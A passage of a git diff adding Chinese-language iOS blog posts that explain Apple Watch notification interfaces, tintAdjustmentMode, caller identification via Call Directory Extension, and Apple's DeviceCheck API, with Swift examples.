+![會同手機推播,這邊手機端iOS有實做UNUserNotificationCenter\.setNotificationCategories在通知下方增加按鈕;Apple Watch預設亦然會出現](/assets/e85d77b05061/1*uQN8Km08rio4tylAw48LyQ.jpeg) + +會同手機推播,這邊手機端iOS有實做UNUserNotificationCenter\.setNotificationCategories在通知下方增加按鈕;Apple Watch預設亦然會出現 +1. dynamic:動態處理推播顯示樣式(重組內容、顯示圖片) +2. interactive:watchOS ≥ 5 後支援,在dynamic的基礎下再增加支援按鈕 + + + +![可在Interface\.storyboard中的Static Notification Interface Controller Scene設定推播處理方式](/assets/e85d77b05061/1*PlYKw5M3XBVDtjOa2tklgg.png) + +可在Interface\.storyboard中的Static Notification Interface Controller Scene設定推播處理方式 + +static沒什麼好說的,就是走預設的顯示方式,這邊先介紹dynamic,勾選「Has Dynamic Interface」後會出現「Dynamic Interface」可在此視圖設計你自訂的推播呈現方式(不能使用Button): + + +![我的自訂推播呈現設計](/assets/e85d77b05061/1*RYSdWHxgmZX6Ht6m11Qpig.png) + +我的自訂推播呈現設計 +```swift +import WatchKit +import Foundation +import UserNotifications + +class NotificationController: WKUserNotificationInterfaceController { + + @IBOutlet var imageView: WKInterfaceImage! + @IBOutlet var titleLabel: WKInterfaceLabel! + @IBOutlet var contentLabel: WKInterfaceLabel! + + override init() { + // Initialize variables here. + super.init() + self.setTitle("結婚吧") //設定右上方標題 + // Configure interface objects here. + } + + override func willActivate() { + // This method is called when watch view controller is about to be visible to user + super.willActivate() + } + + override func didDeactivate() { + // This method is called when watch view controller is no longer visible + super.didDeactivate() + } + + override func didReceive(_ notification: UNNotification) { + + if #available(watchOSApplicationExtension 5.0, *) { + self.notificationActions = [] + //清除iOS實做的UNUserNotificationCenter.setNotificationCategories在通知下方增加的按鈕 + } + + guard let info = notification.request.content.userInfo["aps"] as? NSDictionary,let alert = info["alert"] as? Dictionary else { + return + } + //推播資訊 + + self.titleLabel.setText(alert["title"]) + self.contentLabel.setText(alert["body"]) + + if #available(watchOSApplicationExtension 5.0, *) { + if alert["type"] == "new_msg" { + //如果是新訊息推播則在通知下方增加回覆按鈕 + self.notificationActions = [UNNotificationAction(identifier: "replyAction",title: "回覆", options: [.foreground])] + } else { + //其他則增加查看按鈕 + self.notificationActions = [UNNotificationAction(identifier: "openAction",title: "查看", options: [.foreground])] + } + } + + + // This method is called when a notification needs to be presented. + // Implement it if you use a dynamic notification interface. + // Populate your dynamic notification interface as quickly as possible. + + } +} +``` + +程式部分,ㄧ樣拉outlet到controller並實做功能 + +再來講到interactive,同dynamic,只是能多加Button,能跟dynamic設同個Class控制程式;interactive我沒有使用,因為我的按鈕是用程式self\.notificationActions加上去的,差異如下: + + +![左使用interactive,右使用self\.notificationActions](/assets/e85d77b05061/1*_1Crgx61kE6F509Jd2qxPQ.jpeg) + +左使用interactive,右使用self\.notificationActions + +兩個做法都需watchOS ≥ 5 支援. + +使用self\.notificationActions增加按鈕則按鈕事件處理由ExtensionDelegate中的 `userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void)` 處理,並以identifier識別動作 +#### 選單功能? + + +![在元件庫中拉入Menu,再拉入選單項目Menu Item,再拉IBAction到程式控制](/assets/e85d77b05061/1*qHUly8lLEa5L7FSPJCrbcw.png) + +在元件庫中拉入Menu,再拉入選單項目Menu Item,再拉IBAction到程式控制 + +在頁面重壓就會出現: + + +![](/assets/e85d77b05061/1*9aj7kUPsv9d8XUvgCpqfOg.png) + +#### 內容輸入? + +使用內建的presentTextInputController方法即可! +```swift +@IBAction func replyBtnClick() { + guard let target = target else { + return + } + + self.presentTextInputController(withSuggestions: ["稍後回覆您","謝謝","歡迎與我聯絡","好的","OK!"], allowedInputMode: WKTextInputMode.plain) { (results) in + + guard let results = results else { + return + } + //有輸入值時 + + let txts = results.filter({ (txt) -> Bool in + if let txt = txt as? String,txt != "" { + return true + } else { + return false + } + }).map({ (txt) -> String in + return txt as? String ?? "" + }) + //預處理輸入 + + + txts.forEach({ (txt) in + print(txt) + }) + } +} +``` + + +![](/assets/e85d77b05061/1*CWr9RIb55Sn-FoMrTmc7sQ.png) + +### 總結 + + +> **_謝謝你看到這!辛苦了!_** + + + + + +到這裡文章已告一段落,大略提了一下UI排版、程式、推播、介面應用部分,有開發過iOS的上手真的很快,幾乎差不多而且許多方法都做了簡化使用起來更簡潔,但能做的事確實也變少了\(像是目前還不知道怎麼針對Table做載入更多\);目前能做的事確實很少,希望官方在未來能開放更多API給開發者使用❤️❤️❤️ +#### MurMur: + + +![Apple Watch App Target 部署到手錶真的有夠慢 — [Narcos](https://www.netflix.com/tw/title/80025172){:target="_blank"}](/assets/e85d77b05061/1*-J9qZ846ZysJEhMTSZeE3w.jpeg) + +Apple Watch App Target 部署到手錶真的有夠慢 — [Narcos](https://www.netflix.com/tw/title/80025172){:target="_blank"} + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E5%8B%95%E6%89%8B%E5%81%9A%E4%B8%80%E6%94%AF-apple-watch-app-%E5%90%A7-e85d77b05061){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2019-02-06-6012b7b4f612.md b/_posts/zmediumtomarkdown/2019-02-06-6012b7b4f612.md new file mode 100644 index 000000000..a463a98ab --- /dev/null +++ b/_posts/zmediumtomarkdown/2019-02-06-6012b7b4f612.md @@ -0,0 +1,67 @@ +--- +title: "iOS tintAdjustmentMode 屬性" +author: "ZhgChgLi" +date: 2019-02-06T16:10:43.225+0000 +last_modified_at: 2024-04-13T07:38:26.186+0000 +categories: "ZRealm Dev." +tags: ["uikit","swift","ios-app-development","autolayout","顧小事成大事"] +description: "Present UIAlertController 時本頁上的 Image Assets (Render as template) .tintColor 設定失效問題" +image: + path: /assets/6012b7b4f612/1*zwbk9bi9RKQ-MEuzlQHosA.jpeg +render_with_liquid: false +--- + +### iOS tintAdjustmentMode 屬性 + +Present UIAlertController 時本頁上的 Image Assets \(Render as template\) \.tintColor 設定失效問題 + +### 問題修正前後比較 + +ㄧ樣不囉唆解釋,直接上比較圖. + + +![左修正前/右修正後](/assets/6012b7b4f612/1*zwbk9bi9RKQ-MEuzlQHosA.jpeg) + +左修正前/右修正後 + +可以看到左方ICON圖在有Present UIAlertController時tintColor顏色設定失效,另外當Present的視窗關閉後就會恢復顏色設定顯示正常. +#### 問題修正 + +首先介紹一下 **tintAdjustmentMode** 的屬性設置,此屬性控制了 **tintColor** 的顯示模式,此屬性有三個枚舉可設定: +1. **\.Automatic** :視圖的 **tintAdjustmentMode** 與包覆的父視圖設定一致 +2. **\.Normal** : **預設模式** ,正常顯示設定的 **tintColor** +3. **\.Dimmed** :將 **tintColor** 改為低飽和度、暗淡的顏色(就是灰色啦!) + +#### _上述問題不是什麼BUG而是系統本身機制即是如此:_ + + +> _在Present UIAlertController時會將本頁Root ViewController上View的 **tintAdjustmentMode** 改為 **Dimmed** (所以準確來說也不叫顏色設定「失效」,只是 **tintAdjustmentMode** 模式更改)_ + + + + + +但有時我們希望ICON顏色能保持ㄧ致則只需在UIView中tintColorDidChange事件保持tintAdjustmentMode設定ㄧ致: +```swift +extension UIButton { + override func tintColorDidChange() { + self.tintAdjustmentMode = .normal //永遠保持normal + } +} +``` + +extension example +#### 結束! + +不是什麼大問題,不改也沒差,但就是礙眼 + +其實每一個頁面遇到present UIAlertController、action sheet、popover…都會將本頁view的tintAdjustmentMode改為灰色,但我在這個頁面才發現 + +查找了一陣子資料才發現跟這個屬性有關係,設定之後就解決我的小疑惑. + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E9%A1%A7%E5%B0%8F%E4%BA%8B%E6%88%90%E5%A4%A7%E4%BA%8B-1-ios-tintadjustmentmode-%E5%B1%AC%E6%80%A7-6012b7b4f612){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2019-04-27-ac557047d206.md b/_posts/zmediumtomarkdown/2019-04-27-ac557047d206.md new file mode 100644 index 000000000..c7df50db8 --- /dev/null +++ b/_posts/zmediumtomarkdown/2019-04-27-ac557047d206.md @@ -0,0 +1,308 @@ +--- +title: "自己的電話自己辨識(Swift)" +author: "ZhgChgLi" +date: 2019-04-27T16:07:27.133+0000 +last_modified_at: 2024-04-13T07:40:07.162+0000 +categories: "ZRealm Dev." +tags: ["ios","whoscall","swift","ios-app-development","ios-apps"] +description: "iOS自幹 Whoscall 來電辨識、電話號碼標記 功能" +image: + path: /assets/ac557047d206/1*MYWY8n6v6YoGs0u5um0RdQ.jpeg +render_with_liquid: false +--- + +### 自己的電話自己辨識\(Swift\) + +iOS自幹 Whoscall 來電辨識、電話號碼標記 功能 + +#### 起源 + +一直以來都是Whoscall的忠實用戶,從原本用Android手機時就有使用,能夠非常即時的顯示陌生來電資訊,當下就能直接決定接通與否;後來轉跳蘋果陣營,第一隻蘋果手機是iPhone 6 \(iOS 9\),那時在使用Whoscall上非常彆扭,無法即時辨識電話,要複製電話號碼去APP查詢,後期Whoscall提供將陌生電話資料庫安裝在本地手機的服務,雖然能解決即時辨識的問題,但很容易就弄亂你的手機通訊錄! + +直到 iOS 10\+ 之後蘋果開放電話辨識功能\(Call Directory Extension\)權限給開發者,才使whoscall目前至少就體驗來說已和Android版無太大缺別,甚至超越Android版\(Android版廣告超多,但以開發者的立場是可以理解的\) +#### 用途? + +[Call Directory Extension](https://developer.apple.com/documentation/callkit/cxcalldirectoryextensioncontext){:target="_blank"} 能做到什麼呢? +1. 電話 **撥打** 辨識標記 +2. 電話 **來電** 辨識標記 +3. **通話紀錄** 辨識標記 +4. 電話 **拒接** 黑名單設置 + +#### 限制? +1. 使用者需手動進入「設定」「電話」「通話封鎖與識別」打開您的APP才能使用 +2. 僅能以離線資料庫方式辨識電話\(無法即時取得來電資訊然後Call API查詢,僅能預先寫入號碼<\->名稱對應在手機資料庫中\) +_\*也因此Whoscall會定期推播請使用者開APP更新來電辨識資料庫_ +3. 數量上限?目前沒查到資料,應該是依照使用者手機容量無特別上限;但是數量多得辨識清單、封鎖清單要分批處理寫入! +4. 軟體限制:iOS 版本需 ≥ 10 + + + +![「設定」\->「電話」\->「通話封鎖與識別」](/assets/ac557047d206/1*MYWY8n6v6YoGs0u5um0RdQ.jpeg) + +「設定」\->「電話」\->「通話封鎖與識別」 +#### 應用場景? +1. 通訊軟體、辦公室通訊軟體;在APP內你可能有對方的聯絡人,但實際並未將手機號碼加入手機通訊錄中,這個功能就能避免同事甚至老闆來電時,被當陌生電話,結果漏接. +2. 敝站\( [結婚吧](https://www.marry.com.tw){:target="_blank"} \)或敝私的\( [591房屋交易](https://www.591.com.tw/){:target="_blank"} \),使用者與店家或房東聯繫時所撥打的電話都是我們的轉接號碼,經由轉接中心在轉撥到目標電話,大致流程如下: + + + +![](/assets/ac557047d206/1*BXrzNfimPVPCQ0_XsY5HRg.png) + + +使用者所撥打的電話都是轉接中心代表號\( \#分機\),不會知道真實的電話號碼;一方面是保護個資隱私、另一方面也能知道有多少人聯絡商家\(評估成效\)甚至能知道是在哪看到然後撥打的\(EX:網頁顯示\#1234,APP顯示\#5678\)、還有也能推免費服務,由我方吸收電話通信費用. + +但此做法會帶來ㄧ項不可避免的問題,就是電話號碼凌亂;無法辨識出是打給誰或是店家回撥時,使用者不知道來電者是誰,透過使用電話辨識功能就能大大解決這個問題,提升使用者體驗! +#### 直接上一張成品圖: + + +![[結婚吧 APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E6%9C%80%E5%A4%A7%E5%A9%9A%E7%A6%AE%E7%B1%8C%E5%82%99app/id1356057329?mt=8){:target="_blank"}](/assets/ac557047d206/1*WEUjz38cymEtywWDvm86vg.jpeg) + +[結婚吧 APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E6%9C%80%E5%A4%A7%E5%A9%9A%E7%A6%AE%E7%B1%8C%E5%82%99app/id1356057329?mt=8){:target="_blank"} + +可以看到在輸入電話、電話來電時能直接顯示辨識結果、通話記錄列表也不在亂糟糟ㄧ樣能在下方顯示辨識結果. +### Call Directory Extension 電話辨識功能運作流程: + + +![](/assets/ac557047d206/1*f0vCDqocPfZkoPJW7w3vBg.png) + +### 開工: + +讓我們開始動手做吧! +#### 1\.為 iOS 專案加入 Call Directory Extension + + +![Xcode \-> File \-> New \-> Target](/assets/ac557047d206/1*k7RnXKeXW2uZPawkYQfIDg.png) + +Xcode \-> File \-> New \-> Target + + +![選擇 Call Directory Extension](/assets/ac557047d206/1*w5sK8DfqYOTUTPDJVYFyLg.png) + +選擇 Call Directory Extension + + +![輸入Extension名稱](/assets/ac557047d206/1*EqazaGGWvgLSQa0gQMYF7Q.png) + +輸入Extension名稱 + + +![可順帶加入 Scheme 方便 Debug](/assets/ac557047d206/1*WklbrBGAppM2leAsCuuKLg.png) + +可順帶加入 Scheme 方便 Debug + + +![目錄底下就會出現Call Directory Extension的資料夾及程式](/assets/ac557047d206/1*8SfvjnXa2be6C8mdLk3Wwg.png) + +目錄底下就會出現Call Directory Extension的資料夾及程式 +#### 2\.開始編寫 Call Directory Extension 相關程式 + +首先回到主 iOS 專案上 + +**第一個問題是我們該如何判斷使用者的裝置支不支援Call Directory Extension或是設定中的「通話封鎖與識別」是否已經打開:** +```swift +import CallKit +// +//...... +// +if #available(iOS 10.0, *) { + CXCallDirectoryManager.sharedInstance.getEnabledStatusForExtension(withIdentifier: "這裡輸入call directory extension的bundle identifier", completionHandler: { (status, error) in + if status == .enabled { + //啟用中 + } else if status == .disabled { + //未啟用 + } else { + //未知,不支援 + } + }) +} +``` + +**前面有提到,來電辨識的運作方式是要在本地維護一個辨識資料庫;再來就是重頭戲該如何達成這個功能?** + +很遺憾,您無法直接對Call Directory Extension進行呼叫寫入資料,所以你需要多維護一層對應結構,然後Call Directory Extension再去讀取你的結構再寫入辨識資料庫中,流程如下: + + +![意旨我們需要多維護一個自己的資料庫文件,再讓Extenstion去讀取寫入到手機中](/assets/ac557047d206/1*Fn8KAsdfolQ7ADigii9aHA.png) + +意旨我們需要多維護一個自己的資料庫文件,再讓Extenstion去讀取寫入到手機中 + +**那所謂的辨識資料、檔案該長怎樣?** + + +> 其實就是個Dictionary結構,如:\[“電話”:”王大明”\] + + + + + +> 存在本地的檔案可用一些Local DB\(但Extension那邊也要能裝能用\),這邊是直接存一個\.json檔在手機裡; **不建議直接存在UserDefaults,如果是測試或資料很少可以,實際應用強烈不建議!** + + + + + +**好的,開始:** +```swift +if #available(iOS 10.0, *) { + if let dir = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: "你的跨Extesion,Group Identifier名稱") { + let fileURL = dir.appendingPathComponent("phoneIdentity.json") + var datas:[String:String] = ["8869190001234":"李先生","886912002456":"大帥"] + if let content = try? String(contentsOf: fileURL, encoding: .utf8),let text = content.data(using: .utf8),let json2 = try? JSONSerialization.jsonObject(with: text, options: .mutableContainers) as? Dictionary,let json = json2 { + datas = json + } + if let data = jsonToData(jsonDic: datas) { + DispatchQueue(label: "phoneIdentity").async { + if let _ = try? data.write(to: fileURL) { + //寫入json檔完成 + } + } + } + } +} +``` + +就只是一般的本地檔案維護,要注意的就是目錄需要在Extesion也能讀取的地方。 +#### 補充 — 電話號碼格式: +1. 台灣地區市話、手機都需去掉0以886代替:如 0255667788 \-> 886255667788 +2. 電話格式是純數字組合的字串,勿夾雜「\-」、「,」、「\#」…等符號 +3. 市話電話如有包含要辨識到 **分機** ,直接接在後面即可不需帶任何符號:如 0255667788,0718 \-> 8862556677880718 +4. 將一般iOS電話格式轉換成辨識資料庫可接受格式可參考以下兩個取代方法: + +```swift +var newNumber = "0255667788,0718" +if let regex = try? NSRegularExpression(pattern: "^0{1}") { + newNumber = regex.stringByReplacingMatches(in: newNumber, options: [], range: NSRange(location: 0, length: newNumber.count), withTemplate: "886") +} +if let regex = try? NSRegularExpression(pattern: ",") { + newNumber = regex.stringByReplacingMatches(in: newNumber, options: [], range: NSRange(location: 0, length: newNumber.count), withTemplate: "") +} +``` + +再來就是如流程,辨識資料已維護好;需要通知Call Directory Extension去刷新手機那邊的資料: +```swift +if #available(iOS 10.0, *) { + CXCallDirectoryManager.sharedInstance.reloadExtension(withIdentifier: "tw.com.marry.MarryiOS.CallDirectory") { errorOrNil in + if let error = errorOrNil as? CXErrorCodeCallDirectoryManagerError { + print("reload failed") + + switch error.code { + case .unknown: + print("error is unknown") + case .noExtensionFound: + print("error is noExtensionFound") + case .loadingInterrupted: + print("error is loadingInterrupted") + case .entriesOutOfOrder: + print("error is entriesOutOfOrder") + case .duplicateEntries: + print("error is duplicateEntries") + case .maximumEntriesExceeded: + print("maximumEntriesExceeded") + case .extensionDisabled: + print("extensionDisabled") + case .currentlyLoading: + print("currentlyLoading") + case .unexpectedIncrementalRemoval: + print("unexpectedIncrementalRemoval") + } + } else if let error = errorOrNil { + print("reload error: \(error)") + } else { + print("reload succeeded") + } + } +} +``` + +使用以上方法通知Extension刷新,並取得執行結果。(這時候會呼叫執行Call Directory Extension裡的beginRequest,請繼續往下看) + +主 iOS 專案的程式就到這了! +#### 3\.開始修改 Call Directory Extension 的程式 + +打開Call Directory Extension 目錄,找到底下已經幫你建立好的檔案 CallDirectoryHandler\.swift + +能實作的方法只有 **beginRequest** 當要處理手機電話資料時的動作,預設範例都把我們建好了,不太需要去動: +1. **addAllBlockingPhoneNumbers** :處理加入黑名單號碼\(全新增\) +2. **addOrRemoveIncrementalBlockingPhoneNumbers** :處理加入黑名單號碼\(遞增方式\) +3. **addAllIdentificationPhoneNumbers** :處理加入來電辨識號碼\(全新增\) +4. **addOrRemoveIncrementalIdentificationPhoneNumbers** :處理加入來電辨識號碼\(遞增方式\) + + +我們只要完成以上的Function實作即可,黑名單功能跟來電辨識方式原理都ㄧ樣這邊就不多作介紹. +```swift +private func fetchAll(context: CXCallDirectoryExtensionContext) { + if let dir = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: "你的跨Extesion,Group Identifier名稱") { + let fileURL = dir.appendingPathComponent("phoneIdentity.json") + if let content = try? String(contentsOf: fileURL, encoding: .utf8),let text = content.data(using: .utf8),let numbers = try? JSONSerialization.jsonObject(with: text, options: .mutableContainers) as? Dictionary { + numbers?.sorted(by: { (Int($0.key) ?? 0) < Int($1.key) ?? 0 }).forEach({ (obj) in + if let number = CXCallDirectoryPhoneNumber(obj.key) { + autoreleasepool{ + if context.isIncremental { + context.removeIdentificationEntry(withPhoneNumber: number) + } + context.addIdentificationEntry(withNextSequentialPhoneNumber: number, label: obj.value) + } + } + }) + } + } +} + +private func addAllIdentificationPhoneNumbers(to context: CXCallDirectoryExtensionContext) { + // Retrieve phone numbers to identify and their identification labels from data store. For optimal performance and memory usage when there are many phone numbers, + // consider only loading a subset of numbers at a given time and using autorelease pool(s) to release objects allocated during each batch of numbers which are loaded. + // + // Numbers must be provided in numerically ascending order. + // let allPhoneNumbers: [CXCallDirectoryPhoneNumber] = [ 1_877_555_5555, 1_888_555_5555 ] + // let labels = [ "Telemarketer", "Local business" ] + // + // for (phoneNumber, label) in zip(allPhoneNumbers, labels) { + // context.addIdentificationEntry(withNextSequentialPhoneNumber: phoneNumber, label: label) + // } + fetchAll(context: context) +} + +private func addOrRemoveIncrementalIdentificationPhoneNumbers(to context: CXCallDirectoryExtensionContext) { + // Retrieve any changes to the set of phone numbers to identify (and their identification labels) from data store. For optimal performance and memory usage when there are many phone numbers, + // consider only loading a subset of numbers at a given time and using autorelease pool(s) to release objects allocated during each batch of numbers which are loaded. + // let phoneNumbersToAdd: [CXCallDirectoryPhoneNumber] = [ 1_408_555_5678 ] + // let labelsToAdd = [ "New local business" ] + // + // for (phoneNumber, label) in zip(phoneNumbersToAdd, labelsToAdd) { + // context.addIdentificationEntry(withNextSequentialPhoneNumber: phoneNumber, label: label) + // } + // + // let phoneNumbersToRemove: [CXCallDirectoryPhoneNumber] = [ 1_888_555_5555 ] + // + // for phoneNumber in phoneNumbersToRemove { + // context.removeIdentificationEntry(withPhoneNumber: phoneNumber) + // } + + //context.removeIdentificationEntry(withPhoneNumber: CXCallDirectoryPhoneNumber("886277283610")!) + //context.addIdentificationEntry(withNextSequentialPhoneNumber: CXCallDirectoryPhoneNumber("886277283610")!, label: "TEST") + + fetchAll(context: context) + // Record the most-recently loaded set of identification entries in data store for the next incremental load... +} +``` + +因為敝站的資料不會到太多而且我的本地資料結構相當簡易,無法做到遞增;所以這邊 **統一都用全新增的方式,如是遞增方式則要先刪除舊的\(這步很重要不然會reload extensiton失敗!\)** +#### 完工! + +到此為止就完成囉!實作方面非常簡單! +### Tips: +1. 如果在「設定」「電話」「通話封鎖與識別」打開APP時一直轉或是打開後無法辨識號碼,可先確認號碼是否正確、本地維護的\.json資料是否正確、reload extensiton是否成功;或重開機試試,都找不出來可以選call directory extension的Scheme Build 看看錯誤訊息. +2. 這個功能 **最困難的點不是程式方面而是要引導使用者手動去設定打開** ,具體方式及引導可參考whoscall: + + + +![[Whoscall](https://whoscall.com/zh-TW/){:target="_blank"}](/assets/ac557047d206/1*L0EKptoSnE88lB8uEN7H3A.jpeg) + +[Whoscall](https://whoscall.com/zh-TW/){:target="_blank"} + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E8%87%AA%E5%B7%B1%E7%9A%84%E9%9B%BB%E8%A9%B1%E8%87%AA%E5%B7%B1%E8%BE%A8%E8%AD%98-swift-ac557047d206){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2019-04-29-c5e7e580c341.md b/_posts/zmediumtomarkdown/2019-04-29-c5e7e580c341.md new file mode 100644 index 000000000..0bcfe75dd --- /dev/null +++ b/_posts/zmediumtomarkdown/2019-04-29-c5e7e580c341.md @@ -0,0 +1,364 @@ +--- +title: "iOS 完美實踐一次性優惠或試用的方法 (Swift)" +author: "ZhgChgLi" +date: 2019-04-29T15:30:01.510+0000 +last_modified_at: 2024-04-13T07:43:24.841+0000 +categories: "ZRealm Dev." +tags: ["ios","ios-app-development","ios-11","swift","mobile-app-development"] +description: "iOS DeviceCheck 跟著你到天涯海角" +image: + path: /assets/c5e7e580c341/1*yXSqoDouuL4Jl2sM49iLHA.png +render_with_liquid: false +--- + +### iOS 完美實踐一次性優惠或試用的方法 \(Swift\) + +iOS DeviceCheck 跟著你到天涯海角 + + +在寫上一篇 [Call Directory Extension](../ac557047d206/) 時無意間發現這個冷門的API,雖然已不是什麼新鮮事\(WWDC 2017時公布/iOS ≥11支援\)、實作方面也非常簡易;但還是小小的研究測試了一下並整理出文章當做個紀錄. +### DeviceCheck 能幹嘛? + + +> **允許開發者針對使用者的裝置進行識別標記** + + + + + +自從 iOS ≥ 6 之後開發者無法取得使用者裝置的唯一識別符\(UUID\),折衷的做法是使用IDFV結合KeyChain\(詳細可參考之前 [這篇](../a4bc3bce7513/) \),但在 iCloud 換帳號或是重置手機…等狀況下,UUID還是會重置;無法保證裝置的唯一性,如果以此作為一些業務邏輯的儲存及判斷,例如:首次免費試用,就可能發生使用者狂換帳號、重置手機,可不斷無限試用的漏洞. + +DeviceCheck 雖然不能讓我們得到保證不會改變的UUID,但他能做到「 **儲存」** 的功能,每個裝置Apple提供2 bits的雲端儲存空間,透過傳送裝置產生的臨時識別Token給Apple,可寫入/讀取那2 bits的資訊。 +#### 2 bits? 能存什麼? + + +![](/assets/c5e7e580c341/1*29HWP-4vlMaMng3O2hJSQw.png) + + +只能組合出4種狀態,能做的功能有限. +#### 與原本儲存方式比較: + + +![✓ 表示資料還在](/assets/c5e7e580c341/1*fhw8C_wb2ehP_xgwMtPmoQ.png) + +✓ 表示資料還在 + +_p\.s\. 這邊小弟犧牲了自已的手機實際做了測試,結果吻合;就算我登出換iCloud、清出所有資料、還原所有設定、回到原廠初始狀態,重新安裝完APP都還是能取到值._ +#### 主要運作流程如下: + + +![](/assets/c5e7e580c341/1*pB25wJ1uEzzznUfT05gfBw.png) + + +iOS APP 這邊透過DeviceCheck API產生一組識別裝置用的臨時Token,傳給後端再經由後端組合開發者的private key資訊、開發者資訊成JWT格式後轉傳給Apple伺服器;後端取得Apple回傳結果後處理完格式再丟回iOS APP. +### DeviceCheck 的應用 + +附上 DeviceCheck 在 [WWDC2017](https://developer.apple.com/videos/play/wwdc2017/702/){:target="_blank"} 上的截圖: + + +![](/assets/c5e7e580c341/1*yXSqoDouuL4Jl2sM49iLHA.png) + + +因 **每個裝置只能存2 bits的資訊** ,所以能做的項目差不多就如官方所提及的應用包含裝置是否曾經已試用過、是否付費過、是否是拒絕往來戶…等等;且只能實現一項. + +**支援度:** iOS ≥ 11 +### 開始! + +了解完基本資訊後,讓我們開始動手做吧! +#### iOS APP 端: +```swift +import DeviceCheck +//.... +// +DCDevice.current.generateToken { dataOrNil, errorOrNil in + guard let data = dataOrNil else { return } + let deviceToken = data.base64EncodedString() + + //... + //POST deviceToken 到後端,請後端去跟蘋果伺服器查詢,然後再回傳結果給APP處理 +} +``` + +如流程所述,APP要做的只有取得臨時識別Token( **deviceToken** )! + +再來就是將deviceToken發送到後端我們自己的API去處理. +#### 後端: + +重點在後端處理的部分 +#### 1\.首先登入 [開發者後台](https://developer.apple.com/account/#/membership/){:target="_blank"} **記下 Team ID** + + +![](/assets/c5e7e580c341/1*4_DB0CfHmEqt0HO6mDt8mA.png) + +#### 2\. 再點側欄的 [Certificates, IDs & Profiles](https://developer.apple.com/account/ios/certificate/){:target="_blank"} 前往憑證管理平台 + + +![選擇「Keys」\-> 「All」\-> 右上角「\+」新增](/assets/c5e7e580c341/1*zoRcWhT9HcwLXWlmui5wNw.png) + +選擇「Keys」\-> 「All」\-> 右上角「\+」新增 + + +![Step 1\.建立新Key,勾選「DeviceCheck」](/assets/c5e7e580c341/1*QgSEmllj-9AjM74tGucUag.png) + +Step 1\.建立新Key,勾選「DeviceCheck」 + + +![Step 2\. 「Confirm」確認](/assets/c5e7e580c341/1*hC4rOksfkDJzo3TWJMFrXg.png) + +Step 2\. 「Confirm」確認 + + +![Finished\.](/assets/c5e7e580c341/1*I9TWEmsmEqZA-01OGq52kA.png) + +Finished\. + +最後一步建立完成後, **記下 Key ID** 及點擊「Download」下載回 privateKey\.p8 私鑰檔案. + +這時候你已經準備齊全了所有推播所需資料: +1. Team ID +2. Key ID +3. privateKey\.p8 + +#### 3\. 依Apple規範組合 [JWT\(JSON Web Token\)](https://yami.io/jwt/){:target="_blank"} 格式 + +**演算法:** ES256 +```json +//HEADER: +{ + "alg": "ES256", + "kid": Key ID +} +//PAYLOAD: +{ + "iss": Team ID, + "iat": 請求時間戳(Unix Timestamp,EX:1556549164), + "exp": 逾期時間戳(Unix Timestamp,EX:1557000000) +} +//時間戳務必是整數格式! +``` + +取得組合的JWT字串:xxxxxx\.xxxxxx\.xxxxxx +#### 4\. 將資料發送給Apple伺服器&取得回傳結果 + +**同APNS推播有分開發環境跟正式環境:** +1\.開發環境:api\.development\.devicecheck\.apple\.com _(不知道為什麼我開發環境發送都會回傳失敗)_ +2\.正式環境:api\.devicecheck\.apple\.com + +**DeviceCheck API 提供兩個操作:** +**1\.查詢儲存資料:** https://api\.devicecheck\.apple\.com/v1/query\_two\_bits +```plaintext +//Headers: +Authorization: Bearer xxxxxx.xxxxxx.xxxxxx (組合的JWT字串) + +//Content: +device_token:deviceToken (要查詢的裝置Token) +transaction_id:UUID().uuidString (查詢識別符,這裡直接用UUID代表) +timestamp: 請求時間戳(毫秒),注意!這裡是毫秒(EX: 1556549164000) +``` + +**回傳狀態:** + + +![[官方文件](https://developer.apple.com/documentation/devicecheck/accessing_and_modifying_per-device_data){:target="_blank"}](/assets/c5e7e580c341/1*MAa5Z8bK9ppAN6WJxEButg.png) + +[官方文件](https://developer.apple.com/documentation/devicecheck/accessing_and_modifying_per-device_data){:target="_blank"} + +**回傳內容:** +```json +{ + "bit0": Int:2 bits 資料中第一位的資料:0或1, + "bit1": Int:2 bits 資料中第二位的資料:0或1, + "last_update_time": String:"最後修改時間 YYYY-MM" +} +``` + +_p\.s\. 你沒看錯,最後修改時間就只能顯示到年\-月_ + +**2\.寫入儲存資料:** https://api\.devicecheck\.apple\.com/v1/update\_two\_bits +```plaintext +//Headers: +Authorization: Bearer xxxxxx.xxxxxx.xxxxxx (組合的JWT字串) + +//Content: +device_token:deviceToken (要查詢的裝置Token) +transaction_id:UUID().uuidString (查詢識別符,這裡直接用UUID代表) +timestamp: 請求時間戳(毫秒),注意!這裡是毫秒(EX: 1556549164000) +bit0: 2 bits 資料中第一位的資料:0或1 +bit1: 2 bits 資料中第二位的資料:0或1 +``` +#### 5\. 取得Apple伺服器回傳結果 + +**回傳狀態:** + + +![[官方文件](https://developer.apple.com/documentation/devicecheck/accessing_and_modifying_per-device_data){:target="_blank"}](/assets/c5e7e580c341/1*MAa5Z8bK9ppAN6WJxEButg.png) + +[官方文件](https://developer.apple.com/documentation/devicecheck/accessing_and_modifying_per-device_data){:target="_blank"} + +**回傳內容:無,回傳狀態 200 即表示寫入成功!** +#### 6\. 後端API回傳結果給APP + +APP在針對相應的狀態做回應就完成了! +### 後端部分補充: + +這邊太久沒碰PHP了,有興趣請參考 